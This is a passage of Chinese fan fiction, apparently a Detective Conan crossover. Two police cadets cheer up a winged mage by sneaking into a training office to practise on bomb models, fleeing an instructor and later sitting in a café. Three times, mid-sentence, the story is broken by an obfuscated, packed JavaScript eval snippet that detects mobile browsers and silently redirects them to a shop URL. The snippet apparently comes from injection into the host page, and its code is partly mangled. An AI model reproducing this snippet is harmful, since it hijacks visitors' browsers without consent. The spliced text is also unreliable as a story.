松田阵平后知后觉:确实是有的,在当初签订保密协定的时候,不是其中包括的条款,而是赔偿款后面地一串零。 飞鸟彻羽真的感觉自己已经算是明示了:“当时你们没人对此提出异议,我以为咱们就心照不宣了——难不成你们两个是金子做的?事实上等重的黄金都达不到这种赔偿价格。” “……我们讨论的结果是你们魔法部门有钱。” 萩原研二表示不满:“那也没有办法大费周折地试探我们吧?直接说不就好了吗?我们肯定也不会拒绝的。” “总要让我见识一下你们的水平,”飞鸟彻羽自问虽然私德有亏,但自己至少还算得上是坦诚,“互相了解,有助于……” 正说着,一段手机铃声响起,打断了三人之间的对话。 22.小飞鸟其实很喜欢我们吧? “那是什么声音?” “手机闹钟,”飞鸟彻羽调整了一下姿势,让自己好过一点,“我给自己90分钟的时间休息并处理情绪问题——所以我现在需要工作……” 话说到一半,少年突然拧腰,以一个不可思议的角度伸手直捣萩原研二门面,同时翅膀用力,趁着松田阵平平衡不稳的瞬间抽出右腿,把他踹了下去。 早防着你这一手呢! 萩原研二歪头让过,反手想去抓他的手腕,然后被少年一把扯住了头发,两人瞬间扭成一团,直直往床下栽去。 欸?! 这要让他摔一下,不得有个好歹。 几乎是瞬间的反应,青年将飞鸟彻羽揽进怀里,两人一起砸在地板上。 尽管有一个人做垫子,这一下还是摔得飞鸟彻羽眼前发黑,趴在萩原研二身上半天缓不过来。 松田阵平揉揉自己被踹到的腹部,企图把那家伙从萩原研二身上揭下来:“你可真是……下手真干脆啊。” 还好是没有穿鞋,被踹一下也没什么。 偏偏飞鸟彻羽身上没力气,手里攥着的倒是一点不松,萩原研二一根根把他的手指掰开,他就换一只手去抓。 多长了一对翅膀和尾巴的好处,就在于打架的时候,可以用翅膀架住对方的双手的同时,尾巴绞在别人身上。 松田阵平努力了半晌无果后,逐渐失去了耐心:“你们两个……给我适可而止一点!” “好疼哦,小阵平。” 萩原研二捂住自己被头槌重创的额头,扯住同样被砸的头晕眼花的飞鸟彻羽,小声抱怨道:“明明是小飞鸟先打hagi的,各大三十大板的处理方式也太粗糙了吧?” 这和小阵平之前偷拆家里的汽车门,连累hagi一起挨打有什么区别? 飞鸟彻羽向来看热闹不嫌事大,在旁边煽风点火:“正常,大脑全都退化成小脑是这样的。” 没想到这辈子自己还有机会给萩原研二拉架的松田阵平有点无语:“……是你先上手掐他的。” 说的好像也是哈。 第一次处理这种人际事件的松田阵平有些无从下手。 一般情况下,是由自己在外边负责打架,由萩原研二负责事后的处理部分。 按理说,制止之后是不是应该说两句好话? 松田阵平眼见着刚刚还打成一团的两人,现在又挤在一起当着他的面蛐蛐他。 ……感觉好像没这个必要。 社交苦手的小卷毛默默叹气,决定给自己找点正事做——反正这两个人,一个警校万人迷,另一个八百个心眼子,他们自己会料理好自己的。 于是飞鸟彻羽眼见着松田阵平从随身的工具包里面,拿出不知道具体叫什么的东西,开始摆弄门锁。 刚刚在门外听到他声音不对,偏偏不管怎么叫他,飞鸟彻羽都不应声,于是二人只好出此下策。 就是撬锁的时候有点急了,现在可能要换个锁芯。 “你还随身带这个?” “是啊,”松田阵平手里不停,“平时总有个万一嘛,上爆/炸/物处理课的时候也用得着——话说回来,你会拆/弹吗?” 当时是他自己处理了炸弹,可是现在看起来也不像是会的样子? 飞鸟彻羽很坦诚:“不会。” “那你当初在笼目的时候,是怎么处理的?” “就是这样。” 飞鸟彻羽抽出魔杖,点在松田阵平弄好的门锁上。 【肢解】 松田阵平看着刚刚才换好锁芯的门锁,现在躺在地上碎成一地的零件,干巴巴地说:“真好,快把它组起来吧。” 飞鸟彻羽眨眨眼睛,看起来特别无辜的样子:“我不会啊?” 没等他说什么,少年又用魔杖点在了那一地的碎零件上: 【组合】 于是神奇的事情发生了,原本被拆分的零件以一种极其抽象的方式,挤在了一起。 没办法用语言形容那是什么东西——反正不是门锁。 松田阵平揉了揉自己的眉心,认命似的将这一堆不知道什么东西分开,再挨个拼好。 “话说,你的魔杖有什么用啊?” 明明之前不论是对自己还是对hagi用言灵的时候,也都没用到魔杖。 “有用的,特别有用,”飞鸟彻羽很严肃地点点头,将红珊瑚魔杖展示给松田阵平看,“你仔细看它的尖端。” 松田阵平依言照做。 ……没看出是有什么特别的作用啊? 飞鸟彻羽像是拿着指挥棒一样摆了摆魔杖:“这样呢?” 松田阵平的头于是跟着他手的动作摇摆。 少年口中发出那种逗小孩的弹舌音:“嘬嘬嘬。” ? 不是? 松田阵平狞笑道:“asuka。” “嗯哼?” “臭小子你完蛋了!” 飞鸟彻羽转身就跑。 可是宿舍一共就那么大点的地方,能跑到哪去呢? 萩原研二一个飞扑将飞鸟彻羽压住,开始抓他的痒痒肉:“快快,小阵平!快上!” 刚刚他就发现了,这家伙韧带柔软的很,而且感官更是敏感。 飞鸟彻羽的力气哪拗得过俩警校驰名大猩猩,很快被制伏在地,像条搁浅的小鱼,在地板上挣动。 一直到后来耗光了力气,只好摊在地板上,眼里含着泪,气喘吁吁地,只有被戳到的时候才会控制不住地抖一抖。 ……泪腺也很发达呢。 “asuka,有没有感觉好一点?” 飞鸟彻羽后知后觉地意识到,自己是在被安慰——通过插科打诨,转移注意的方式。 什么啊。 “……多事。” 少年用手臂遮住自己的眼睛,转过身去,用背朝着他俩。 “小飞鸟肯定心里想着:超有用的!只是不好意思承认对吧?” “没有。” 真不坦率。 萩原研二很快就意识到,飞鸟彻羽虽然性格非常独裁,但是在亲密关系中并不算强势。 他的强势来源于“只有最好的才有话语权”,而非“只有我才有话语权”。大多数情况下,因为飞鸟彻羽自身能力的原因,导致这两者表现不出什么区别。 而一旦到了他自己不熟悉的领域,飞鸟彻羽是非常乐于倾听别人的意见的——就比如说是刚才拆门锁的时候,又或者是在他完全不擅长的亲密关系领域。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567103|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——重点是不要被他牵着鼻子走,要有自己的意见和看法。 “顺从”可能有助于建立起一段高效的合作关系,但至少飞鸟彻羽不是那种会因为对方的服从性而愿意与其平等交流的类型。 一味服从的后果就是,让他发现你真的很听话,然后像摆弄棋子一样的变本加厉的指使你。 与飞鸟彻羽相处的精髓在于:不听他讲话,在关系中拿到主动权。 这家伙别扭的很,嘴上说着嫌弃的话——但是实际上,一没把他们赶出去,二没用言灵叫他们闭嘴: 这分明就是口嫌体正直的具象化代名词嘛! 没说不喜欢的潜台词就是喜欢,不采取行动的讨厌一律按照撒娇来处理! 社交悍匪早就对那双毛绒绒的翅膀跃跃欲试了,看起来是那种:得天独厚的同时,还有被主人仔细保养的结果。 眼见着自己心心念念的翅膀就在眼前,萩原研二哪里还忍得住,先是伸手试探性地顺了顺他的羽毛…… 被翅膀拍了一下。 没被赶出去,所以就是同意了! 萩原研二埋在厚厚的羽毛里,像是吸小猫小狗一样,理直气壮地一通乱揉。 手感,超棒! 飞鸟彻羽哪受得了这个,呆怔了两秒后,一下子弹起来:“你们……你干什么?!” 这下不只是耳羽,连翅膀上的羽毛都膨起来了。 少年挣开萩原大猩猩的蹂躏,把翅膀收回去,往后爬了两步缩到墙角,睁圆眼睛瞪他。 小动物一样。 因为肤色瓷白的原因,所以一点点脸色变化都很明显。 “小飞鸟很喜欢我们的吧?” “脸皮真厚。” ……真可爱啊,脖子都红了。 “分明就是吧?第一次见面的时候就盯上小阵平了,明明可以言灵解决的问题,偏偏要和我们玩什么坦诚,明明可以走流程赔偿的问题,一定要赔我们这么多——肯定是很喜欢我们才会这样的,毕竟爱在哪里,钱就在哪里嘛。” “你有妄想症,建议去医院看看脑子——难道就不能是我有钱?” “看吧,小飞鸟是那种不会在没必要的事情上面浪费时间的性格吧?你觉得我在说胡话,但是你愿意还在这里和我们‘浪费时间’……” ……真是没眼看。 松田阵平眼见着自家幼驯染仗着对方情感迟钝,理直气壮地就在这里胡说八道,就觉得自己的眼睛快要瞎了。 都是什么跟什么。 松田阵平上前几步,攥住飞鸟彻羽的手腕,将被萩原研二堵在角落里面的小鬼拔出来。 “你又干什么?” 啧。 不管是个多了不起的家伙,本质上不还是个十几岁的小鬼吗? 每天心里阴沉沉的,想那么多,能高兴才怪。 “不是说没有心情变好?” 松田阵平另一只手把趴在地上爬来爬去的幼驯染也拖起来,一手一个,带着往门外走。 萩原研二顺手关了灯,狭小的宿舍就被黑暗再次吞没。 锁舌和锁扣轻吻,于是漆黑的恶鬼就被锁在了狭小的房间里,被远远的甩在了身后。 “带你去个有意思的地方。” 23.你头没事吧? “……这就是你说的,‘去个有意思的地方’?” 天知道松田阵平是怎么找到的教务室,又是走了多少回,才这么轻车熟路,一边摸黑躲避巡视的教官,一边用钥匙拧开了门锁。 居然还为了出入方便,专门配了钥匙。 “这怎么就不算是有意思的地方了?” 松田阵平从工具箱里摸出两只手电筒,一只递给萩原研二,一只递给飞鸟彻羽,如数家珍似的,“最外面的柜子里,是咱们下周爆/炸/物处理课上要用的教具——都是新到的款式,喜欢哪个自己挑。” 一看就是那种,会把“学校就是自己家”这种话听进去,并坚决执行的类型。 飞鸟彻羽摁开手电筒的开关,感觉不太顺手,又顺手关上,抽出魔杖,虚空点了几下。 几只柔和的光团于是就悬浮的空中,以作照明用。 “你会拆多少?一点不会还是只懂一点?” 飞鸟彻羽也很诚实:“一点不会。” 会安装+按起/爆/器应该不算会吧? 松田阵平点点头,牵着飞鸟彻羽的手腕,在里面挑了一个最基础的样式,三分之二的光团围绕在两人周围,亦步亦趋的跟着他们。 “不会我教你,亲手拆一拆,这种简单的很快就能上手的。” 卷毛老师找了个还算干净的地方,就地坐下,伸手拍拍自己旁边的空地示意飞鸟彻羽在旁边坐。 ——完全不用担心卫生问题,警察学校一共就那么大点的地方,他们五个哪里没扫过? 飞鸟彻羽于是贴着他身边,直着腿坐下。 “你不考虑盘着腿坐吗?” 这样感觉有点吓人欸,腿直愣愣的,感觉就是那种劣质的娃娃,只能膝关节往后折的那种。 “没办法啦,”飞鸟彻羽向上翘起自己的小腿……尾巴,展示给松田阵平看,“毕竟是鱼尾,和关节还是不一样的,大概就是只能弯成‘U’型,而不是‘V’型——勉强要折的话也最多只能折成60度左右,再弯就没有办法了。” “好好好,知道了知道了。” 萩原研二默默把他翘起来的尾巴摁下去,比起“小腿上翻”,还是直着腿更容易接受。 “过来看着,很简单的,看一遍就能学会了。” 飞鸟彻羽闷闷地应了一声,就算是答应了,枕在卷毛老师的胳膊上,听着他沉稳的心跳声。 这种最简单款式的器械对松田阵平来说和小孩子的玩具没什么两样,即使刻意放慢了手速,也是极具观赏性,像是在围观艺术品的诞生。 萩原研二也有样学样,枕着松田阵平的颈窝,还伸出手去挨个戳戳那些光团:“这些是什么东西?” “【荧光精灵】,现在已经很少见了,我支付一点魔力给它们,雇佣它们提供照明服务。” 所以这次没有使用言灵也可以点亮光团。 “虽然这么说有些自卖自夸的嫌疑,但是我的魔力对所有魔法段的生物来说,都是硬通货——别处可找不到这么庞大又洁净的魔力。” 就是在炫耀吧。 果然,还是小鬼嘛。 像是那种会站在树梢,先是“啾啾”地叫上几声,吸引周围人的注意力,然后再在枝头跳来跳去,给周围人展示自己漂亮的尾羽的那种小鬼头。 “那这个呢?”萩原研二摸摸自己的脖子示意,“所以即使带着这种东西也没有关系吗?不会影响使用魔法之类的?还是说这是你的独特审美之类的?” 松田阵平原本流畅的动作一顿。 ……还是问出来了啊。 “你说这个?” 飞鸟彻羽用指尖叩叩束缚器,发出金属特有的脆响。 “这个东西只能束缚魔力的使用量,对魔力的总量是没有影响的——就像是水坝一样,可以减少单位时间内水的流量——但是本质上可以使用的总量是不变的。” “魔杖是用来提高魔法使用时候的精度——以言灵这种范围性的魔法为例子,如果我说【噤声】,那么所有能够听到这个指令的个体都会遵守,通过魔杖的帮助,可以指定某个精确的个体——隔着屏幕的不算,魔力没有办法通过电信号传播。” 松田阵平企图转移话题:“所以学会了没有?” 飞鸟彻羽在脑子里面过了一遍各个步骤:“好像……是会了吧?” 感觉差不多都记住了。 “成,”松田阵平又从旁边拿出一个一模一样的,连带着手里的工具一起塞进飞鸟彻羽手里,“那你再拆一遍我看看。” 怎么还带现教现考的啊?! “知道了,卷毛老师。” “那我们来比赛好了,”萩原研二挑了两个看起来最复杂最时兴的,递给松田阵平一个,“比比谁更快——反正这种炸弹对小阵平来说,只要一回合就足够了吧?” 松田阵平瞥了飞鸟彻羽一眼: 少年还在和外壳较劲,弄了半天才拧开三颗螺丝——目测他弄好一个的时间,够自己和hagi把教务室里面的炸弹全拆开。 ……这个手速,会拆和不会拆没什么实际上的区别吧。 “好啊。” 松田阵平是忙起来不喜欢说话的类型,但是萩原研二的嘴可能是有自己独立的一个系统,具体表现在他干什么都不影响自己说话:“asuka啊?” “嗯哼?” “那个来找你的小姐姐怎么办啊?” “哪个?” “就是那个去毛利侦探所找侦探,说是你的女朋友的那个?” 工藤有希子到底都胡说了些什么啊…… “没有女朋友,”飞鸟彻羽骗人归骗人,事后倒是很坦诚,“那个也不是本人,找人假扮来骗你们的。” ……你可真诚实啊:) 走廊的尽头传来一阵沉稳的脚步声,飞鸟彻羽耳羽动了动,抬头看了看旁边拆弹拆的正起劲的两个人,默默换成“鸢尾弥生”的脸,没吭声。 一道手电筒直直的透过窗户照到屋内:“你们是干什么的?!” 是鬼佬! 飞鸟彻羽摸出刚刚松田阵平给的手电筒,也顺着鬼冢教官手电筒的光路,原路返回照回去。 ……把教官照的眼前一黑。 荧光团借着手电筒刺眼的光,争先恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582666|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后地钻进飞鸟彻羽的袖口,努力“憋气”熄灭光亮。 鬼冢教官离开窗户,准备从前门进来抓那三个小兔崽子。 萩原研二和松田阵平显然已经是“惯犯”了,反应比兔子还快,工具随手往口袋里一塞,拔腿就往之前早就开好的后门跑。 ——为了以防万一,萩原研二刚刚早就趁着松田阵平教飞鸟彻羽拆解的时候,把后门也一起打开了,现在正用得上。 松田阵平蹿出去两步,发现飞鸟彻羽没跟上来,于是又折返回去,一把锢住他的腰,把少年整个拔起来扛在肩上,在教官面前近距离表演了一个极限负重折返跑。 “跑哇,傻子!你杵那干嘛?!” 颠了颠他的重量,还行。 飞鸟彻羽的体重比他们负重训练的时候也没重到哪去,除了一边偏沉之外,松田阵平接受良好。 但是这个姿势对于被扛的人就不是很友好了:全身的重量都压在腹部一点点接触肩膀的地方,而且松田阵平的侧肩又硬又硌,再加上他跑起来总是要摇晃的,飞鸟彻羽感觉自己要被颠吐了。 少年伸手摁住松田阵平的后肩,撑起自己的上半身:“你放我下……” 紧接着就是一声闷响。 已知:松田阵平身高>=1.8m,正常门框的高度在2m~2.4m之间。 又知:飞鸟彻羽腹部朝下,撑起上身。 得:飞鸟彻羽的后脑勺磕在了门框上。 那一下磕得可不轻:一来飞鸟彻羽确实完全没有防备,二来松田阵平不愧是警校驰名大猩猩,肩上扛着一个人照样跑得飞快。 直把飞鸟彻羽磕得眼前发黑,再没折腾的力气,整个人瘫成一把煮熟了的面条,挂在松田阵平肩膀上,全靠他圈住自己腰部的手臂固定。 松田阵平也没想到他能搞出来这一出,手臂用力摇了摇:“喂?!不是?!你没事吧?!” 身后被卷毛猩猩越甩越远的鬼冢教官无能狂怒:“松田阵平是不是你?!” 要说整个警校新生里面,鬼冢八藏最熟悉谁,非松田阵平莫属。 本身除了他和萩原研二,根本没人往教务室跑。 刚刚虽然被灯晃了眼没看清楚,但是嗓音可是实打实的听见了。 现在又一听才是板上钉钉似的完全确定——不是松田阵平那个刺头又是谁?! “松田阵平!还有背上那个!你俩给我站住!” 松田阵平惯犯老油条了,才不应声,只管闷着头跑: 被猜出来又咋样,反正教官也没证据,今天本来也是休息日,就算是折回去查寝,他也有正当理由不在。 在教学楼蹿了两圈,彻底把教官甩掉之后,松田阵平找到警校后墙,“无意间”发现的翻墙圣地: 加速助跑,负重起跳,单手撑墙,完美落地。 满分! 要是萩原研二这种气氛组在旁边,肯定是一通天花乱坠的夸夸,可惜在这的是还没缓过劲来的飞鸟彻羽。 松田阵平对这种法师的脆皮程度又有了新的认知。 找了一处平整的地方,把他放下来:“你的头没事吧?” 24.委屈了? 头不头的问题另说,飞鸟彻羽现在正在思考一个更严肃的问题: 我究竟是为什么非要来到这里的呢? 明明可以坐在空调房里面,瘫在床上沙发上,需要人手的话,使用言灵不就可以了吗? 所以是为什么呢? 飞鸟彻羽纠结片刻,得出结论: 可能是因为我是一个小件货吧:) ……或者是大件货? 所以在这种地方,“大小”这一对形容词,是怎么量化形容的呢? 按道理来讲,一般是“大”来表示“更多”的意义,“小”则恰恰相反——但是像这类蔑视贬低类型,或者说“小”会更符合一些? 松田阵平把他放在花坛边上坐着之后,就在一旁看着飞鸟彻羽脸色变来变去,心情一片灰暗。 毁了,不会真的磕傻了吧? 松田阵平打开手电,伸手掰开飞鸟彻羽的下颌,想要去观察一下他的舌头。 “你干什么?!” 飞鸟彻羽吓了一跳,一把拍开他的爪子,瞪圆眼睛控诉他。 “……没什么。” 松田阵平总不能说,是因为自己想要看看他的舌头是不是被咬掉了。 他也说不清楚,具体想要得到什么结果:虽然对着“有舌头的傻子”,一个正常的,有良心的人实在说不出“谢天谢地”这四个字。 ……但是“有舌头的傻子”总比“没舌头的傻子”要强吧。 “你头没事吧?” 一这么提起来,飞鸟彻羽感觉更难过了:“疼。” “我看看。” 这种在头皮上的伤口没办法隔着易容观察,于是飞鸟彻羽卸下易容,苍白的头发在灯光下暴长,就像是海浪,挤进松田阵平的指缝间,继续向下蔓延。 松田阵平将手指伸进发根处,凭着推测细细摸索,不出意料地找到了一处突起,轻轻勾勒了一下四周,大概有矿泉水瓶那么大。 本来就够疼了,你还伸手摸! 飞鸟彻羽疼的受不住,拧着眉伸手推他:“嘶……疼……轻点……” “肿了。”松田阵平缩回手来,理顺自己被抓皱的领子,“头晕吗?有没有恶心之类的——我们去医院?” “不想去医院,”飞鸟彻羽刚从医院出来,才不想又进去,“不头晕,也不恶心,就是疼。” “那就先不去,但要是一会有不舒服就必须去。” 松田阵平老翻墙惯犯了,周围这一片都熟得很,掏出手机给萩原研二发了个定位,对面回了一个“OK”的表情。 “这附近有家药店,我去买点药,你在这等着hagi?” 飞鸟彻羽点点头,打了一个寒战。 十月东京的夜晚已经有点冷了,少年出来的仓促,身上就只有一件薄衬衫,下半身也只有一条单裤。 松田阵平把自己外面穿的那件连帽卫衣脱下来,给他套上,然后拉上兜帽。 23岁正是血气方刚的年纪,松田阵平只穿一件短袖也不觉得冷,眼见着飞鸟彻羽慢吞吞地揪好衣摆,套好袖子——这件衣服对他来说有点大了,正好可以把手也缩进袖子里。 飞鸟彻羽把自己整理好,才抬起眼睛看他,理直气壮地好像这件衣服本来就是自己的:“你怎么还不走?” 松田阵平“啧”了一声。 ……用过就丢啊这家伙。 药店离得很近,一二百米的样子,结账的时候透过玻璃门,隔着一层绿化带,就可以隐隐约约的看见现在正躲在花坛背面的某只。 带着兜帽,缩成一团。 ……不说话的时候倒是还真挺乖的。 当然也只是看起来。 这个点几乎都没有什么人了,只有几家24小时营业的店面还在坚守,所以理所应当的也不用排什么队。 松田阵平结完账,绕回到花坛的背面。 “我们不用给萩原发个消息吗?” “不用……”我刚刚发过了。 松田阵平突然意识到,他们五个之前好像背着他,又建了一个新的群来着。 虽然主要是为了调查“黑羽彻也”的时候方便交流,但是这样一想总有种隐隐约约的心虚感。 好像是他们五个,平均年龄都比他大四岁的家伙,是在偷偷拉帮结派的排挤他一样。 “……他自己知道找来的——我看看你的伤口。” 少年点点头,侧过身去。 松田阵平顺着记忆,扯下兜帽,撩开他的头发,叫他自己抓着。 飞鸟彻羽的头发又厚又长,实在很不方便上药。 “要不剪了吧?”松田阵平建议,“反正你头发这么多,剪一点在外面也看不出来——我这有剪刀。” 剪电线的时候用的。 “这和剪羽有什么区别?” 给鸟类剪翅膀是绝对不可以原谅的事情! 不用看松田阵平也知道,这家伙肯定又在翻他白眼——虽然飞鸟彻羽本身没有眼白,但是意思是这个意思。 不剪就不剪吧,就是上药的时候麻烦点,影响不大。 松田阵平用棉签沾了药水,轻轻伸进发根深处,涂在伤口上。 虽然他没用什么力气,但是药水的刺激感还是没办法通过上药手法来避免的,飞鸟彻羽疼得直吸凉气,控制不住得往前躲。 “别躲,”松田阵平伸出小指,钩住他的后衣领子,把他拖回来,“很快就弄好了。” 确实很快,惯常拆/弹的手,做起这种事来也是又快又稳。 松田阵平把药水瓶拧好盖子,把用过的棉签包好,丢进垃圾桶:“早中晚各一次,应该有个三两天就能消肿了,这几天晚上注意别仰着睡觉。” 松田阵平把东西收拾妥当,用药店给的小袋子装着,伸手去拉飞鸟彻羽的手腕。 “去哪?” 我们不等萩原了? “去找热水,还有一颗胶囊没吃,”松田阵平牵着他就要往前走,“我一会再给hagi发消息,叫他再来找我们。” “等等等等等。”飞鸟彻羽连忙把手抽回来,拉上兜帽,“就随便找点矿泉水喝下去不就行吗?” 松田阵平拧着眉:“你有胃病吧?” 刚刚在宿舍里面发现的,应该是抑郁情绪导致的,躯体化胃痉挛。 “不想受罪的话,这两天注意点。” 飞鸟彻羽闷闷地应了一声,伸手就去摸自己的脸,准备带好易容……被松田阵平制止了。 “干嘛要带?就这么出去呗?反正也没人认识你。” 飞鸟彻羽觉得他在讲废话:“根据《魔法保密协定》,反正要带。” “别带,丑,”其实也不算丑,“鸢尾弥生”这张脸算得上是清秀,但是见过了他本来的样貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594361|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,再见他带易容总感觉很怪,“为什么要带?你又不是什么见不得人的东西。” “还有脸也是,”松田阵平伸出食指和中指,比出一个“V”型,把他的嘴角拉平,“不想笑就不笑呗,反正你不笑也挺好看的。” 飞鸟彻羽于是不说话了,盯着他看。 松田阵平意识到,和飞鸟彻羽比倔可能不是一个好主意,手腕一震,甩开自己的墨镜腿,戴在他脸上:“在这等着。” 这次带回来的是一顶黑色的鸭舌帽,和一包黑口罩。 松田阵平把鸭舌帽扣在他头上摆正,抽出一只口罩小心地绕过他的耳羽,最后再顺手将他的卫衣帽子给带好: “走吧?” 飞鸟彻羽不吭声。 又怎么不高兴了? 松田阵平感觉自己也没说错话。 有点后悔先给他带上墨镜和口罩了,现在漆黑一片什么也看不见,总不能再给他扒下来吧? “……背我。” 行吧。 松田阵平没什么意见,飞鸟彻羽又不沉,反正刚才围着教学楼都跑了两圈,背就背呗。 “上来。” 松田阵平把手里的东西递给他拿着,双手托着他的腿,很轻松的把飞鸟彻羽背了起来,让他双手环住自己的脖子。 “……asuka啊?” “干什么?” “有没有人说过你很拧巴?脾气很怪。” 飞鸟彻羽伸手抓住松田阵平两边的鬓角。 ……跟谁学的这是。 一不高兴就专门抓人家头发。 但是应该也没生气——真要是生气了,就该是和当初第一次见面那样,直接翻脸了。 大概是……委屈了? “心情不好就说心情不好嘛,我惹着你了就给你道歉,‘背我’是什么意思?心情不好自己生闷气,这样对胃不好。” “没有。” 松田阵平真感觉,碰上飞鸟彻羽真是对自己耐性和社交能力的考验。 这种时候就会格外的想hagi——要是hagi在这的话,猜他的心思肯定一猜一个准。 ……算了,和才十九岁的小鬼置什么气。 “‘没有’是什么意思?没有胃痛?还是我没有惹着你?” 飞鸟彻羽又不说话了。 松田阵平这次也不惯着他,一手一边,握住他的大腿,故意用力颠他。 吓得飞鸟彻羽下意识松开手,用手臂环住他的脖子。 “不说话是什么意思?不说话是默认的意思?还是头疼的不想说话?要不咱们还是去医院吧?” “……没有生气。” 和挤牙膏一样,用力推一推,才往前挪一点。 松田阵平来了兴致,手上的动作不停,故意坏心眼似的弄他:“那‘背我’是什么意思?” ……飞鸟彻羽也开始想萩原研二了。 想萩原研二能不能赶快来,最好闪现过来,立马出现在面前,管管松田阵平这个神经病! “就是我不想自己走行了吧?” 好吧,再逗下去真该生气了:) 松田阵平收放自如,假装刚才的“手贱”从来没发生过。 “这个点只有那种快餐店才有吃的和热水了吧,话说回来,你能吃肯德基吗?” 鸡翅膀和塞壬翅膀还真有点像。 25.耍我好玩吗? 最后去找了一个咖啡店坐下。 飞鸟彻羽捧着一杯热水暖手,准备等温下来再喝。 晚上喝咖啡容易睡不着觉,于是松田阵平点了两份冰激凌+两份意面,飞鸟彻羽不想吃东西,就只叫了一份抹茶松饼。 松田阵平坐在沙发上噼里啪啦的给萩原研二发着消息。 手速真快啊。 飞鸟彻羽坐在一旁默默地观察他。 松田阵平发现端疑。 松田阵平不明所以。 松田阵平心领神会: 咖啡店还有别人,他当然不方便摘下口罩,但是不摘口罩怎么喝水吃东西呢? 我有一个好主意.jpg 松田阵平手起(剪)刀落,把他的口罩横着剪开了一条滑稽的口子。 飞鸟彻羽差点被剪到嘴,吓了一跳:“你干嘛?!” 张嘴说话的时候更好笑了,随着唇瓣的开开合合,口罩正中间那条裂缝也跟着开开合合——就像是第二张嘴一样。 “你就这么吃……” 松田阵平没绷住,一下笑出了声,引得周围零星的客人和上夜班的店员都下意识地向着这个方向看过来。 ……又是几声此起彼伏的憋笑声。 飞鸟彻羽气得想骂他,又感觉张嘴说话实在太丢脸,于是伸手拧他。 松田阵平一边笑趴在桌子上,一边去捉他的手,强忍着笑道: “对不起,错了,下次再也不敢了。” 松田阵平抬眼去打量他的脸色,结果又透过那道缝隙,隐隐约约看见少年绯色的唇瓣。 “噗嗤。” 完蛋了。 萩原研二找来的时候,就看见这一幕: 少年扭过身去,用背朝着松田阵平,而自家幼驯染正在焦头烂额的在周围转来转去,围着他说好话。 松田阵平一见萩原研二来了,眼前一亮,就像是来了救星,连忙用眼神示意他求救。 萩原研二心领神会。 萩原研二保证完成任务。 萩原研二绕到飞鸟彻羽面前: 让我看看怎么个事.jpg …… “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈……” 但是萩原研二来了总是比没来要强的。 具体体现在,他不但当着飞鸟彻羽的面嘲笑他,还要揽着少年的脖子贴脸开大。 “……松手。” 萩原研二忙着将自己的脸埋在飞鸟彻羽的颈窝笑,没功夫搭理他。 【松手】 ……总算是消停了。 如果说刚才飞鸟彻羽是有点嫌弃松田阵平,那么现在是更嫌弃萩原研二了,把松田阵平弄到两人中间隔开他,主打一个眼不见心不烦。 真不愧是hagi。 一来就解决了矛盾,成功解救了水深火热的幼驯染。 至于hagi被讨厌了会怎么样? 看在两人“没福硬享,有难同当”的二十年幼驯染情谊的份上,松田阵平决定帮忙转移话题: “话说hagi,你这次怎么这么慢?” 这种事之前也不是没有干过,正常是很快就能碰上头的。 说起这事,萩原研二就有话要讲了:“那当然是因为,hagi又折回去,把我们弄乱的教务室又重新收拾好了!” “模型都拼好,摆放到原来的位置,门也都锁好了——这样等教官折回去的时候,根本没有证据是有任何一个人来过!” 真不愧是你啊,萩原研二。 正说着话呢,刚刚点的东西上了。 飞鸟彻羽一把扯下口罩,对折好攥在手里,把淋上抹茶酱和奶油的松饼切成小块,一块一块地插着吃。 松田阵平尝试搭话:“……你头还疼吗?” 飞鸟彻羽不吭声。 萩原研二企图搭话:“小鸢尾的头怎么了?” 飞鸟彻羽不说话。 ……真生气了啊。 于是松田阵平只好接话道:“刚刚跑的时候不小心碰到头了。” 萩原研二干笑两声:“是吗,那现在没事了吧?” “上过药了,没有大碍。” 这个话题聊完了,又没人说话了。 场面一度很尴尬,尴尬到萩原研二和松田阵平感觉呼吸都有点不顺。 松田阵平用眼神示意萩原研二:怎么办?你快想想办法。 萩原研二也很抓狂:我正在想啊,他明显就不吃我那一套啊!你好好的没事惹他干嘛。 松田阵平瞪他:是你非要搂着他笑,才把他惹生气的! 萩原研二也不甘示弱:你没笑他——是你最先剪他口罩的! 松田阵平也知道自己理亏,没有狡辩的余地了,只好认错:是是是,一开始就是我的不对——所以你快想想办法。 两人要是真有办法,就不至于在这里干瞪眼了。 办法是一时想不到的,只好偷瞄对方,美其名曰:观察敌情,随机应变这样子。 飞鸟彻羽才不理会这俩人在自己旁边“眉目传情”,吃完了松饼之后,把装松饼的小碟子往前一推,摸出胶囊,就着已经温下来的水,吃下去。 ……小鸢尾/asuka生起气来还挺吓人严重哈。 